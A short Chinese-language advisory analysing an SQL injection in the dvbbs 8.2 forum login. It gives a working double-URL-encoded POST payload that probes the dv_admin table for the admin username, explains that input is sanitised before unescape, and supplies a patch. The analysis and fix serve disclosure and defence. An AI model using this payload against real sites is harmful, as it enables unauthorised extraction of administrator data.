dvbbs 8.2 SQL Injection注射漏洞分析
发布时间:2016-12-26 来源:查字典编辑
摘要:password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp...
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
就可触发.
漏洞分析:动网在asp领域也算一个比较元老的程序,这次在8.2新版里有一个低级的错误.漏洞代码在login.asp118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
IfajaxProThenusername=unescape(username)
......
取得的username是先经过检查然后再unescape解码,导致用urlencode模式就可以饶过任何检查,和php的urldecode导致的注射很类似,譬如用%2527就可以提交'过去了.
修补方案:修补也很简单,将上述代码改成
......
username=trim(Dvbbs.CheckStr(request("username")))
IfajaxProThenusername=trim(Dvbbs.CheckStr(unescape(username)))
......